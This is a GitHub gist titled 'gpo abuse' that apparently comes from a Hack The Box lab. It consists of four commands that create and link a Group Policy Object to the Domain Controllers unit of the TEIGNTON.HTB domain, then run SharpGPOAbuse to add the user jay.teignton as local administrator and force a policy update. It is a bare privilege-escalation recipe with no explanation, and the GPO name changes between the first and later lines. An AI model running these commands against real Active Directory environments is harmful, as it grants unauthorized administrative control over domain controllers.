Created
February 10, 2022 01:55
-
-
Save shollingsworth/3e2cc181878030591da366848d6c7c16 to your computer and use it in GitHub Desktop.
gpo abuse
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| New-GPO -Name wtfgpo -Comment "This is a test GPO" | |
| New-GPLink -Name stev0 -Target "OU=Domain Controllers,DC=TEIGNTON,DC=HTB" -LinkEnabled Yes | |
| .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount jay.teignton --gponame stev0 | |
| gpupdate /force |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment